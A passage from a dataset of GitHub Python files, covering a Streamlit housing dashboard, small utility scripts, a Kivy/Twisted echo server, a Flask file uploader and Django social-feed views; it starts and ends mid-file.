'10',\n \"November\": '11',\n \"December\": '12'\n}\n\n# lists of cities, years and months\ncurr_year = datetime.datetime.now().today().year\ncities_list = city_codes_df['city'].to_list()\nyears_list = list(range(2011, curr_year+1))\nmonth_list = list(num_to_month.values())\n\nst.sidebar.header('Options')\n\n# coosen cities, years list and months\nchoosen_city = st.sidebar.selectbox(\"Choose city\", (cities_list))\nchoosen_years = st.sidebar.multiselect(\"Choose year\", years_list, default=years_list[-1])\nchoosen_months = st.sidebar.multiselect(\"Choose month\", month_list, default=\"January\")\n\nhouse_type = st.sidebar.selectbox(\"Chose House Type\", (\"Single-Family Detached\", \"Townhouse-Condo Attached\"))\n\nst.title(choosen_city)\n\nst.write('''This app shows the history of property price changes on the East Bay. \n Data from [Market Statistics Monthly Stat Reports](https://ccartoday.com/market-statistics/)''')\ntry:\n for year in choosen_years:\n for mon_name in choosen_months:\n df = dd.loadYearAndMonthData(choosen_city, city_codes_df, month_to_num[mon_name], year, df)\n\n choosen_df = df[df[\"Year\"].isin(choosen_years) &\n df[\"Month\"].isin(choosen_months) &\n df[\"City\"].isin([choosen_city]) &\n df[house_type] == 1]\n\n\n choosen_df = choosen_df.sort_values(\"Year\")\n\n st.table(choosen_df[['Year', 'Month', 'New Listings', 'Closed Sales',\n 'Days on Market Until Sale', 'Median Sales Price',\n 'Average Sales Price', 'Percent of Original List Price Received',\n 'Inventory of Homes for Sale']].transpose())\n\n avg_price_fig = pl.avg_price_fig(choosen_df)\n st.write(avg_price_fig)\n\n diff_price_fig = pl.diff_price_fig(choosen_df)\n st.write(diff_price_fig)\n\n new_listing_fig = pl.new_listing_fig(choosen_df)\n st.write(new_listing_fig)\nexcept ValueError:\n st.write(\"Please choose year and month\")\n\n\n","repo_name":"zaveta/Housing-Market-Dashboard-using-Streamlit","sub_path":"dashboard.py","file_name":"dashboard.py","file_ext":"py","file_size_in_byte":2988,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"15616791211","text":"import pandas as pd\n\ndef checkHiatusID(IDString:str,beginRange:int,endRange:int):\n if IDString.__len__() == 6 and IDString[3:4] == 'E':\n id = IDString[:3]\n find = int(id)\n h = checkInfo(beginRange,endRange)\n for id in h:\n if id == find:\n print(\"find \" + IDString)\n return True\n print(\"exiet data: \" + IDString)\n else:\n print(\"error data: \" + IDString)\n return False\n\ndef checkInfo(beginRange:int,endRange:int):\n table = pd.read_csv(\"./charaMap/charaData.csv\",\n converters={'charaID':str,'charaFileID':str,'favorability':str,'randomCode':str})\n numList:set = set(range(beginRange,endRange+1))\n hiatusTable:set = set()\n IDTable:set = set()\n for index,row in table.iterrows():\n a = int(row['charaID'])\n IDTable.add(a)\n hiatusTable = set(numList) - set(IDTable)\n #print(hiatusTable)\n #print(\"have \" + hiatusTable.__len__().__str__() + \"cow no data\")\n return hiatusTable\n\ndef checkHiatusRandomCode():\n table = pd.read_csv(\"./charaMap/charaData.csv\",\n converters={'charaID':str,'charaFileID':str,'favorability':str,'randomCode':str})\n hiatusRandomCodeSet:set = set()\n for index,row in table.iterrows():\n if row['randomCode'] == '':\n hiatusRandomCodeSet.add(row['charaID'])\n return hiatusRandomCodeSet","repo_name":"Kutouzi/FruitPickingTools","sub_path":"CheckData.py","file_name":"CheckData.py","file_ext":"py","file_size_in_byte":1404,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"61"} +{"seq_id":"12596230497","text":"\nimport sys\n\n# the setrecursionlimit function is\n# used to modify the default recursion\n# limit set by python. Using this,\n# we can increase the recursion limit\n# to satisfy our needs\n\nsys.setrecursionlimit(10**6)\n\n\ndef checkasc(arr):\n\n for i in range(len(arr)-1):\n if arr[i] > arr[i+1]:\n return False\n return True\n\n\ndef LIS(arr, lists=[]):\n if len(arr) == 1:\n return arr\n\n for i in range(1, len(arr)):\n\n if LIS(arr[i:]) != None:\n combination = [arr[0]]+LIS(arr[i:], lists)\n if checkasc(combination) == True:\n lists.append(combination)\n return combination\n\n # for i in combination:\n # lists.append(i)\n\n return None\n\n\nif __name__ == \"__main__\":\n\n arr = [5, 1, 3, 4, 6, 2, 8]\n lists = []\n # n = input(\"enter the value of k for the kth smallest element\")\n # n = int(input().strip())\n\n # arr = []\n\n # for _ in range(n):\n # arr_item = int(input().strip())\n # arr.append(arr_item)\n\n print(LIS(arr, lists))\n print(lists)\n","repo_name":"adwaithkj/sortandsearchalgos","sub_path":"altlisco.py","file_name":"altlisco.py","file_ext":"py","file_size_in_byte":1077,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"39290935205","text":"print('LALALALO')\n\n# install_twisted_rector must be called before importing and using the reactor\nfrom kivy.support import install_twisted_reactor\ninstall_twisted_reactor()\n\n\nfrom twisted.internet import reactor\nfrom twisted.internet import protocol\n\nimport sys\n\n\nclass EchoProtocol(protocol.Protocol):\n def dataReceived(self, data):\n response = self.factory.app.handle_message(data)\n if response:\n self.transport.write(response)\n\n\nclass EchoFactory(protocol.Factory):\n protocol = EchoProtocol\n\n def __init__(self, app):\n self.app = app\n\n\n#from kivy.app import App\n#from kivy.uix.label import Label\n\n\nclass TwistedServerApp():\n def build(self):\n reactor.listenTCP(8000, EchoFactory(self))\n\n def handle_message(self, msg):\n #self.label.text = \"received: %s\\n\" % msg\n\n print('LALALALU')\n print(msg)\n if msg == \"ping\":\n msg = \"pong\"\n if msg == \"plop\":\n msg = \"kivy rocks\"\n #self.label.text += \"responded: %s\\n\" % msg\n return msg\n\n\ndef run_server():\n serverapp = TwistedServerApp()\n serverapp.build()\n\nif __name__ == '__main__':\n run_server()\n","repo_name":"lrq3000/kivy-twisted-android","sub_path":"service/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":1175,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"38040711911","text":"def pigify(phrase):\n if isVocal(phrase[0]):\n return phrase + \"way\"\n else:\n to_add = \"\"\n to_cut = -1\n for i, char in enumerate(phrase):\n if not isVocal(char):\n to_add += char\n else:\n to_cut = i\n break\n\n if to_cut != -1:\n phrase = phrase[to_cut:]\n else:\n to_add = \"\" # om ingen bokstava å kutte, ikke legg til noe\n\n return phrase + to_add + \"ay\"\n\n\ndef pigify_sentence(sentence):\n split = sentence.split(\" \")\n\n translated = map(pigify, split)\n\n return \" \".join(translated)\n\n\ndef isVocal(char):\n char = char.upper()\n return True if char in \"AEIOUÆØÅ\" else False\n","repo_name":"gronnmann/INF100","sub_path":"uke7/uke_07_oppg_6.py","file_name":"uke_07_oppg_6.py","file_ext":"py","file_size_in_byte":722,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"4233932403","text":"import os\nfrom glob import glob\nfrom templates import PARSER_MAP\n\n\nclass Parser:\n def __init__(self, kwargs):\n self.counter = 1\n self.kwargs = kwargs\n\n def print_list_template(self):\n print('Following parsers are available')\n for index, scraper in enumerate(PARSER_MAP.keys(), 1):\n print(f'{index}. {scraper}')\n\n def start(self):\n\n if self.kwargs.get('list'):\n self.print_list_template()\n return\n\n help_message = \"\"\"\n Usage: collector.py -parse [-t TEMPLATE] [-i INPUT_PATH] [-o OUTPUT] [-s START_DATE]\\n\n Arguments:\n -t | --template TEMPLATE: Template forum to parse\n -i | --input_path INPUT_PATH: Input folder path\n -o | --output OUTPUT: Output folder path\n\n Optional:\n -s | --start_date START_DATE: Parse threads that are newer than supplied date\n -l | --list: List available parsers (tempalte namess)\n -c | --checkonly Limit missing author and date file\n \"\"\"\n\n parser_name = self.kwargs.get('template')\n if not parser_name:\n print(help_message)\n return\n\n parser = PARSER_MAP.get(parser_name.lower())\n if not parser:\n print('Not found template!')\n self.print_list_template()\n return\n\n folder_path = self.kwargs.get('input_path')\n if not folder_path:\n print('Input Path missing')\n print(help_message)\n return\n\n self.kwargs['folder_path'] = folder_path\n\n # -----------filter files which user want to parse --------------\n files = []\n for filee in glob(folder_path + '/*'):\n if os.path.isfile(filee):\n files.append(filee)\n\n self.kwargs['files'] = files\n\n output_folder = self.kwargs.get('output')\n if not output_folder:\n print('Output Path missing')\n return\n\n self.kwargs['output_folder'] = output_folder\n\n sitename = self.kwargs.get('sitename')\n self.kwargs['sitename'] = sitename\n\n # ------------make folder if not exist -----------------\n if not os.path.exists(output_folder):\n os.makedirs(output_folder)\n\n parser(**self.kwargs)\n","repo_name":"ken2190/Enterprise-Forum-Scraper","sub_path":"forumparse.py","file_name":"forumparse.py","file_ext":"py","file_size_in_byte":2354,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"23583344631","text":"#--- READ INPUT ---#\r\ninp = open('B-small-attempt0.in', 'r')\r\n#inp = open('A-large.in', 'r')\r\n#inp = open('test.in', 'r')\r\no = open('output.txt', 'w')\r\ncolor_dict = {1:'R', 2:'O', 3:'Y',4:'G',5:'B',6:'V'}\r\ntest_cases = int(inp.readline())\r\nfor i in range(test_cases):\r\n line = inp.readline()[:-1].split(' ')\r\n cdic = {color_dict[j]:int(line[j]) for j in range(1, len(line))}\r\n n = int(line[0])\r\n '''\r\n r = int(line[1])\r\n o = int(line[2])\r\n y = int(line[3])\r\n g = int(line[4])\r\n b = int(line[5])\r\n v = int(line[6])\r\n '''\r\n possible = True if max(cdic.values()) < int(n/2 + 1) else False\r\n res = 'IMPOSSIBLE'\r\n if possible:\r\n rank = sorted(cdic, key=cdic.get, reverse=True)\r\n last = ''\r\n res = ''\r\n for j in range(n):\r\n if last != '':\r\n tmp = cdic[last]\r\n del cdic[last]\r\n m = max(cdic.values())\r\n max_colors = [x for x in cdic.keys() if cdic[x] == m]\r\n for k in rank:\r\n if k in max_colors:\r\n next_color = k\r\n break\r\n\r\n #next_color = max(cdic, key=cdic.get)\r\n res += next_color\r\n cdic[next_color] -= 1\r\n if last != '':\r\n cdic[last] = tmp\r\n last = next_color\r\n\r\n #--- WRITE OUTPUT ---#\r\n s = 'Case #' + str(i+1) + ': ' + res\r\n o.write(s + '\\n')\r\ninp.close()\r\no.close()\r\n","repo_name":"dr-dos-ok/Code_Jam_Webscraper","sub_path":"solutions_python/Problem_207/451.py","file_name":"451.py","file_ext":"py","file_size_in_byte":1443,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"12610974388","text":"from tkinter import *\nfrom tkinter import messagebox\nfrom PIL import ImageTk, Image\n# tk window initialization\nroot = Tk()\nroot.title(\"Yes/No\")\nroot.iconbitmap(r'images/converted-icon.ico')\nroot.geometry('750x450')\n'''root.eval('tk::PlaceWindow . center')'''\n\n# Variable initialization\nbg = PhotoImage(file=r\"images/font.png\")\nstart_btm_image = PhotoImage(file=r\"images/start.png\")\n\n# Starting window\nlabel = Label(root, image=bg, bg='#0f0f0f')\nlabel.place(x=0, y=0, relwidth=1, relheight=1)\n\n'''text = Label(root, text='Let\\'s play', font=('Helvetica', 20))\ntext.pack(pady=200)'''\n\n# Functions\ndef start():\n response = messagebox.showinfo(\"instructions\", \"info\")\n\n\n\n\n\n# Buttons\nstart_btm = Button(root, image=start_btm_image,command=start(), borderwidth=0,bg='#0f0f0f' )\nstart_btm.pack(pady=15, side=BOTTOM)\n\n\n'''root.bind('', resizer)'''\nroot.mainloop()","repo_name":"ateistemes/applicationzzt","sub_path":"opening.py","file_name":"opening.py","file_ext":"py","file_size_in_byte":872,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"61"} +{"seq_id":"41321823267","text":"import os\nfrom flask import Flask, flash, request, redirect, send_from_directory\nfrom flask.helpers import make_response\nfrom flask.templating import render_template\nfrom flask_restful import Resource, Api\nfrom werkzeug.utils import secure_filename\n\nUPLOAD_FOLDER = 'C:/Users/marce/Documents/uploads'\nALLOWED_EXTENSIONS = {'txt', 'GIF', 'pdf', 'png', 'jpg', 'jpeg', 'gif', 'zip', 'rar', 'exe', 'iso', 'mp4', 'hevc', 'mp3', 'wav', 'avi'}\n\napp = Flask(__name__)\napp.config['UPLOAD_FOLDER'] = UPLOAD_FOLDER\napi = Api(app)\n\n\n# PÁGINA PRINCIPAL\nclass AppointmentController(Resource):\n def get(self):\n return make_response(render_template('index.html'))\n\n def post(self):\n if request.method == 'POST':\n\n if 'file' not in request.files:\n flash('No file part')\n return redirect(request.url)\n file = request.files['file']\n \n if file.filename == '':\n flash('No selected file')\n return redirect(request.url)\n else:\n filename = secure_filename(file.filename)\n file.save(os.path.join(app.config['UPLOAD_FOLDER'], filename))\n return make_response(render_template('upload.html'))\n\n# PÁGINA COM A LISTA DOS ARQUIVOS UPADOS\nclass UplodadedFiles(Resource):\n def get(self):\n pathFolder = 'C:/Users/marce/Documents/uploads/'\n array = os.listdir(pathFolder)\n\n extArray = []\n fileSizeArray = []\n\n for item in array:\n ext = item.split('.')\n extArray.append(ext[-1].upper())\n sizeFile = os.path.getsize(pathFolder + item)\n sizeFile /= 1000000\n sizeFile = f'{sizeFile:.2f}MB'\n fileSizeArray.append(sizeFile)\n\n arraySize = len(array)\n return make_response(render_template('list.html', array=array, extArray=extArray, fileSizeArray=fileSizeArray, arraySize=arraySize))\n\n\n# DOWNLOAD DE ARQUIVO\nclass DownloadFiles(Resource):\n def get(self, name):\n return send_from_directory(app.config['UPLOAD_FOLDER'], name)\n\n\napi.add_resource(AppointmentController, '/')\napi.add_resource(UplodadedFiles, '/list')\napi.add_resource(DownloadFiles, '/list/')\n\nif __name__ == '__main__':\n app.run(host=\"0.0.0.0\", debug=False)\n","repo_name":"Pixuca/fileUploader","sub_path":"testFlask.py","file_name":"testFlask.py","file_ext":"py","file_size_in_byte":2287,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"17642326239","text":"import json \nimport time, datetime \nfrom django.contrib.auth.models import User \nfrom os.path import splitext, basename\nfrom django.db.models import Q\nfrom django.contrib.auth.decorators import login_required\nfrom django.core.paginator import EmptyPage, PageNotAnInteger, Paginator\nfrom django.http import (HttpResponse, HttpResponseBadRequest,\n HttpResponseForbidden)\nfrom django.shortcuts import get_object_or_404, render, redirect\nfrom django.core.urlresolvers import reverse\nfrom django.http import JsonResponse\nfrom django.template.context_processors import csrf\nfrom django.template.loader import render_to_string\n\nfrom activities.models import Activity\nfrom schools.decorators import ajax_required\nfrom feeds.models import Feed \nfrom feeds.forms import PhotoForm,FeedForm \nfrom authentication.models import Profile \n\n \nFEEDS_NUM_PAGES = 10 \n \n@login_required \ndef feeds(request):\n print('inside feeds, feeds.view')\n print('gonna send style_feeds via feeds.views.feeds') \n all_feeds = Feed.objects.all()\n\n return render(request, 'feeds/all_feeds.html', {\n 'all_feeds' : all_feeds,\n 'page': 1,\n })\n\n@login_required \ndef specialfeeds(request,id):\n print('inside feeds, feeds.view')\n print('gonna send special style_feeds via feeds.views.feeds')\n online_users = User.objects.all().exclude(is_active=True)\n challenge_feeds = Feed.get_feeds().filter(Q(is_challenge=1)\n # & Q(date=datetime.date.today())\n )\n response_for = id\n print('response_for id : %s'%response_for)\n style_feeds = Feed.get_feeds().filter(response_for=response_for)# 2nd lookup excludes all challenge feeds as they have is_challenge set to 1\n\n paginator = Paginator(style_feeds, FEEDS_NUM_PAGES)\n style_feeds = paginator.page(1)\n\n for feed in style_feeds:\n print('feed.pk %d, is_challenge %d, feed.response_for %s'%(feed.pk,feed.is_challenge,feed.response_for))\n from_feed = -1\n if style_feeds:\n from_feed = style_feeds[0].id\n for feed in challenge_feeds:\n print('challenge_feeds id : %d, feed.response_for %s'%(feed.pk,feed.response_for))\n for user in online_users:\n print('user.screen_name', user.username)\n\n response_for_feed = get_object_or_404(Feed, id=response_for)\n return render(request, 'feeds/special_feeds.html', {\n 'style_feeds': style_feeds, \n 'challenge_feeds': challenge_feeds,\n 'online_users' : online_users,\n 'from_feed': from_feed,\n 'response_for_feed' : response_for_feed,\n 'page': 1,\n })\n\n\n@login_required \ndef challengefeeds(request):\n print('inside challengefeeds, feeds.view')\n print('gonna send challenge_feeds via feeds.views.challengefeeds')\n challenge_feeds = Feed.get_feeds().filter(is_challenge=1)\n paginator = Paginator(challenge_feeds, FEEDS_NUM_PAGES)\n challenge_feeds = paginator.page(1)\n\n for feed in challenge_feeds:\n print('feed.pk %d, feed.is_challenge :%s, feed.response_for :%s'%(feed.pk, feed.is_challenge, feed.response_for))\n from_feed = -1\n if challenge_feeds:\n from_feed = challenge_feeds[0].id\n most_liked_challenge_feeds = Feed.get_feeds().filter(Q(is_challenge=1)\n # & Q(date=datetime.date.today())\n ).order_by('likes').reverse()[:6]\n\n return render(request, 'feeds/challenge_feeds.html', {\n 'challenge_feeds': challenge_feeds, \n 'from_feed': from_feed,\n 'most_liked_challenge_feeds' : most_liked_challenge_feeds,\n 'page': 1,\n })\n\n\n@login_required \ndef profilefeeds(request):\n print('inside profilefeeds, feeds.view')\n print('gonna send all_profile_feeds via feeds.views.profilefeeds')\n all_profile_feeds = Feed.objects.all().filter(profile_pk__gt=0).exclude(user__profile__is_product=1)\n paginator = Paginator(all_profile_feeds, FEEDS_NUM_PAGES)\n all_profile_feeds = paginator.page(1) # still to be made\n \n for feed in all_profile_feeds: \n print('feed.pk %d'%(feed.pk))\n \n from_feed = -1\n if all_profile_feeds:\n from_feed = all_profile_feeds[0].id \n print('from_feed %d' %(from_feed))\n\n return render(request, 'feeds/all_profile_feeds.html', {\n 'all_profile_feeds' : all_profile_feeds, # profile feeds list\n 'from_feed': from_feed, # for the second page on feeds_profile related\n 'page': 1,\n })\n\n@login_required \ndef product_profilefeeds(request):\n print('inside product_profilefeeds, feeds.view')\n print('gonna send all_product_profile_feeds via feeds.views.product_profilefeeds')\n all_product_profile_feeds = Feed.objects.all().filter(Q(profile_pk__gt=0)\n & Q(user__profile__is_product=1)\n )\n paginator = Paginator(all_product_profile_feeds, FEEDS_NUM_PAGES)\n all_product_profile_feeds = paginator.page(1) # still to be made\n \n for feed in all_product_profile_feeds: \n print('feed.pk %d'%(feed.pk))\n \n from_feed = -1\n if all_product_profile_feeds:\n from_feed = all_product_profile_feeds[0].id \n print('from_feed %d' %(from_feed))\n\n return render(request, 'feeds/all_product_profile_feeds.html', {\n 'all_product_profile_feeds' : all_product_profile_feeds, # profile feeds list\n 'from_feed': from_feed, # for the second page on feeds_profile related\n 'page': 1,\n }) \n\n\ndef feed(request, id):\n print('inside feed, feeds.view')\n feed = get_object_or_404(Feed, id=id)\n return render(request, 'feeds/feed.html', {'feed': feed})\n\n\n@login_required\n@ajax_required\ndef load(request):\n print('inside load, feeds.view')\n partial_feed_page = 'feeds/partial_feed.html' # setting default\n page = request.GET.get('page')\n print('page',page)\n # this is for user specific feeds\n\n # is_product_feed = request.GET.get('is_product_feed')\n from_feed = request.GET.get('from_feed') \n all_feeds = Feed.get_feeds(from_feed) # to load the feeds older to feed with id from_feeds\n feed_source = request.GET.get('feed_source') \n profile_pk = request.GET.get('profile_pk') # it will come through only on profile_feeds, Product_profile_feeds pages\n response_for_feed_id = request.GET.get('response_for_feed_id')\n page_user_name = request.GET.get('page_user_name')\n if page_user_name:\n page_user = get_object_or_404(User, username=page_user_name)\n # following for main feed line, that is styles copy feed\n # actually theres no need to get feed_from differently from all pages\n # just use same name from_feed for every page, it'll make the job of load function easy\n # from_feed_profile = request.GET.get('from_feed_profile')\n\n if feed_source == 'all_profile_feeds':\n print('feed_source is : all_profile_feeds')\n partial_feed_page = 'feeds/partial_feed_profile.html'\n all_feeds = all_feeds.filter(Q(profile_pk__gt=0)\n & Q(user__profile__is_product=0)\n )\n elif feed_source == 'all_product_profile_feeds':\n print('feed_source is: all_product_profile_feeds')\n partial_feed_page = 'feeds/partial_feed_profile.html'\n all_feeds = all_feeds.filter(Q(profile_pk__gt=0)\n & Q(user__profile__is_product=1)\n )\n elif feed_source == 'user_profile_feeds': # come from profile.html page\n print('feed_source is: user_profile_feeds')\n all_feeds = all_feeds.filter(profile_pk=profile_pk)\n partial_feed_page = 'feeds/partial_feed_profile.html' # this all_feeds list has all the feeds related profile page he'/she's is on now\n \n elif feed_source == 'user_feeds': # comes from user's activity page\n print('feed_source is: user_feeds')\n all_feeds = all_feeds.filter(user__id=page_user.id) # all feeds by anyuser containing styles if any shown by user and the feeds user said anything about their friends profiles\n partial_feed_page = 'feeds/partial_feed.html'\n \n elif feed_source == 'challenge_feeds': # come from challenge_feeds page\n print('feed_source is: challenge_feeds')\n all_feeds = all_feeds.filter(is_challenge=1) # else all_feeds will be for style feedline which means it should not have any profile feedlines feed\n partial_feed_page = 'feeds/partial_challenge_feed.html'\n \n elif feed_source == 'special_feeds': \n if response_for_feed_id:\n print('feed_source is: special_feeds with response_for_id:', response_for_feed_id)\n all_feeds = all_feeds.filter(id=response_for_feed_id)\n partial_feed_page = 'feeds/partial_feed.html'\n else:\n all_feeds = []\n for feed in all_feeds:\n print(feed.pk,feed.profile_pk,feed_source, feed.is_challenge)\n\n paginator = Paginator(all_feeds, FEEDS_NUM_PAGES)\n try:\n feeds = paginator.page(page)\n except PageNotAnInteger:\n return HttpResponseBadRequest()\n except EmptyPage:\n feeds = []\n \n html = ''\n csrf_token = (csrf(request)['csrf_token'])\n for feed in feeds:\n html = '{0}{1}'.format(html,\n render_to_string(partial_feed_page,\n {\n 'feed': feed,\n 'user': request.user,\n 'csrf_token': csrf_token,\n }))\n\n return HttpResponse(html)\n\n\n# now this method is being used only in case of posting on uers profile, that is for profile feeds\ndef _html_feeds(last_feed, user, csrf_token, feed_source=0):\n print('inside _html_feeds, feeds.view')\n feeds = Feed.get_feeds_after(last_feed)\n # if feed_source != 'all':\n # feeds = feeds.filter(user__id=feed_source)\n # print(feed_source)\n print('the feed_source is :')\n print(feed_source)\n # partial_feed_page = 'feeds/partial_feed.html' \n # its not gonna happen as I've changed the post method, which is not gonna use it\n # changing the feeds and partial feed page if user is on profile feed page\n if feed_source: \n feeds = feeds.filter(profile_pk=feed_source)[:1]\n partial_feed_page = 'feeds/partial_feed_profile.html'\n for feed in feeds:\n print(feed.pk,feed.profile_pk, feed_source)\n html = ''\n for feed in feeds:\n html = '{0}{1}'.format(html,\n render_to_string(partial_feed_page,\n {\n 'feed': feed,\n 'user': user,\n 'csrf_token': csrf_token\n }))\n\n return html\n\n\n@login_required\n@ajax_required\ndef load_new(request):\n print('inside load_new, feeds.view')\n user = request.user\n last_feed = request.GET.get('last_feed')\n feed_source = request.GET.get('feed_source')\n # is_product_feed = request.GET.get('is_product_feed')\n profile_pk = request.GET.get('profile_pk')\n response_for_feed_id = request.GET.get('response_for_feed_id')\n page_user_name = request.GET.get('page_user_name')\n if page_user_name:\n page_user = get_object_or_404(User, username=page_user_name) \n\n feeds = Feed.get_feeds_after(last_feed)\n \n if feed_source == 'all_profile_feeds':\n partial_feed_page = 'feeds/partial_feed_profile.html'\n feeds = feeds.filter(Q(profile_pk__gt=0)\n &Q(user__profile__is_product=1)\n )\n\n for feed in feeds:\n print(feed.pk,feed.profile_pk,feed_source, feed.is_challenge)\n\n html = '' \n csrf_token = (csrf(request)['csrf_token'])\n for feed in feeds:\n html = '{0}{1}'.format(html,\n render_to_string(partial_feed_page,\n {\n 'feed': feed,\n 'user': request.user,\n 'csrf_token': csrf_token,\n }))\n\n return HttpResponse(html)\n \n\n@login_required\n@ajax_required\ndef check(request): \n print('inside remove, feeds.view')\n last_feed = request.GET.get('last_feed')\n feed_source = request.GET.get('feed_source')\n # is_product_feed = request.GET.get('is_product_feed')\n profile_pk = request.GET.get('profile_pk')\n response_for_feed_id = request.GET.get('response_for_feed_id')\n page_user_name = request.GET.get('page_user_name')\n if page_user_name:\n page_user = get_object_or_404(User, username=page_user_name) \n\n feeds = Feed.get_feeds_after(last_feed)\n if feed_source == 'all_profile_feeds':\n feeds = feeds.filter(Q(profile_pk__gt=0)\n &Q(user__profile__is_product=1)\n )\n elif feed_source == 'all_product_profile_feeds':\n feeds = feeds.filter(Q(profile_pk__gt=0)\n & Q(user__profile__is_product=0)\n )\n elif feed_source == 'user_profile_feeds':\n feeds = feeds.filter(profile_pk=profile_pk)\n \n elif feed_source == 'special_feeds':\n feeds = feeds.filter(response_for=response_for_feed_id)\n \n elif feed_source == 'challenge_feeds':\n feeds = feeds.filter(is_challenge=1)\n \n elif feed_source == 'user_feeds':\n feeds = feeds.filter(user__id=page_user.id)\n \n for feed in feeds:\n print(feed.pk,feed.profile_pk, feed_source)\n count = feeds.count()\n return HttpResponse(count)\n\n@login_required\n@ajax_required \ndef post(request):\n print('inside post, feeds.view')\n to_user = request.POST.get('to_user')\n profile_pk = request.POST.get('profile_pk')\n print('profile_pk :%s',profile_pk)\n last_feed = request.POST.get('last_feed')\n to_user = get_object_or_404(User, username=to_user)\n user = request.user\n csrf_token = (csrf(request)['csrf_token'])\n feed = Feed()\n feed.user = user\n feed.to_user = to_user\n feed.profile_pk = profile_pk\n post = request.POST['post']\n post = post.strip()\n if len(post) > 0:\n feed.post = post[:255]\n feed.save()\n html = _html_feeds(last_feed, user, csrf_token, profile_pk)\n return HttpResponse(html)\n\n@login_required\ndef new_post(request): #post with images and require page refresh\n print('inside new_post, feeds.view')\n # profile_pk = request.POST.get('profile_pk')\n # print('profile_pk :%s',profile_pk)\n user = request.user\n form = FeedForm(request.POST or None, request.FILES or None)\n if form.is_valid():\n instance = form.save(commit=False)\n instance.user = user\n profile_pk = request.POST.get('profile_pk')\n is_challenge = request.POST.get('is_challenge')\n response_for_id = request.POST.get('response_for_id')\n print('is_challenge :%s'%is_challenge)\n print('response_for',response_for_id)\n post = request.POST['post']\n post = post.strip()\n if len(post) > 0:\n instance.post = post[:255]\n instance.save()\n print('is_challenge : %s'%instance.is_challenge)\n print('response_for ',instance.response_for)\n if is_challenge == '1':\n return redirect('challenge_feeds')\n elif response_for_id:\n return redirect('/feeds/challenge/%s'%(response_for_id))\n return redirect('feeds')\n \n\n@login_required(login_url='/login/')\n@ajax_required\ndef like(request):\n print('inside like, feeds.view')\n if not request.user.is_authenticated:\n return redirect('signup_human')\n else:\n feed_id = request.POST['feed']\n feed = Feed.objects.get(pk=feed_id)\n user = request.user\n like = Activity.objects.filter(activity_type=Activity.LIKE, feed=feed_id,\n user=user)\n if like:\n user.profile.unotify_liked(feed)\n like.delete()\n\n else:\n like = Activity(activity_type=Activity.LIKE, feed=feed_id, user=user)\n like.save()\n user.profile.notify_liked(feed)\n\n return HttpResponse(feed.calculate_likes())\n\n\n@login_required\n@ajax_required\ndef profile_like(request):\n print('inside profile_like, feeds.view')\n profile_pk = request.POST['profile_pk']\n profile = Profile.objects.get(pk=profile_pk)\n user = request.user\n like = Activity.objects.filter(activity_type=Activity.LIKE_PROFILE, profile=profile_pk,\n user=user)\n if like:\n user.profile.unotify_liked_profile(profile)\n print('request user: %s had already liked this user so \\\n you are gonna be removed from the liker list of this user\\\n and It should appear Like text on button'\n %(request.user.username))\n like.delete()\n\n else:\n like = Activity(activity_type=Activity.LIKE_PROFILE, profile=profile_pk, user=user)\n print('request user: %s had not liked this user so \\\n you are gonna be added in liker list of this user\\\n and It should appear UnLike on button'\n %(request.user.username)) \n like.save()\n user.profile.notify_liked_profile(profile)\n\n return HttpResponse(profile.calculate_likes())\n\n@login_required\n@ajax_required\ndef comment(request):\n print('inside comment, feeds.view')\n if request.method == 'POST':\n feed_id = request.POST['feed']\n feed = Feed.objects.get(pk=feed_id)\n post = request.POST['post']\n post = post.strip()\n if len(post) > 0:\n post = post[:255]\n user = request.user\n feed.comment(user=user, post=post)\n user.profile.notify_commented(feed)\n user.profile.notify_also_commented(feed)\n return render(request, 'feeds/partial_feed_comments.html',\n {'feed': feed})\n\n else:\n feed_id = request.GET.get('feed')\n feed = Feed.objects.get(pk=feed_id)\n return render(request, 'feeds/partial_feed_comments.html',\n {'feed': feed})\n\n\n@login_required\n@ajax_required\ndef update(request):\n print('inside update, feeds.view')\n first_feed = request.GET.get('first_feed')\n last_feed = request.GET.get('last_feed')\n feed_source = request.GET.get('feed_source')\n # is_product_feed = request.GET.get('is_product_feed')\n profile_pk = request.GET.get('profile_pk')\n response_for_feed_id = request.GET.get('response_for_feed_id')\n page_user_name = request.GET.get('page_user_name')\n page_user = get_object_or_404(User, username=page_user_name)\n\n feeds = Feed.get_feeds().filter(id__range=(last_feed, first_feed))\n \n if feed_source == 'all_profile_feeds':\n feeds = feeds.filter(Q(profile_pk__gt=0)\n &Q(user__profile__is_product=1)\n )\n elif feed_source == 'all_product_profile_feeds': \n feeds = feeds.filter(Q(profile_pk__gt=0)\n & Q(user__profile__is_product=0)\n )\n elif feed_source == 'user_profile_feeds':\n feeds = feeds.filter(profile_pk=profile_pk)\n \n elif feed_source == 'special_feeds':\n feeds = feeds.filter(response_for=response_for_feed_id)\n \n elif feed_source == 'challenge_feeds':\n feeds = feeds.filter(is_challenge=1)\n \n elif feed_source == 'user_feeds':\n feeds = feeds.filter(user__id=page_user.id)\n\n dump = {}\n for feed in feeds:\n dump[feed.pk] = {'likes': feed.likes, 'comments': feed.comments,}\n\n data = json.dumps(dump)\n return HttpResponse(data, content_type='application/json')\n\n# Not required because this is single of its type on any page, so no need to update profile likes, cuz they\n# get updated when u go to any profile \n@ajax_required \ndef profile_update(request):\n print('inside profile_update, feeds.view')\n profile_pk = request.GET.get('profile_pk')\n profile = Profile.objects.get(pk=profile_pk)\n profile_likes = profile.likes\n return HttpResponse(profile_likes)\n\n\n\n@login_required\n@ajax_required\ndef track_comments(request):\n print('inside track_comments view')\n feed_id = request.GET.get('feed')\n feed = Feed.objects.get(pk=feed_id)\n return render(request, 'feeds/partial_feed_comments.html', {'feed': 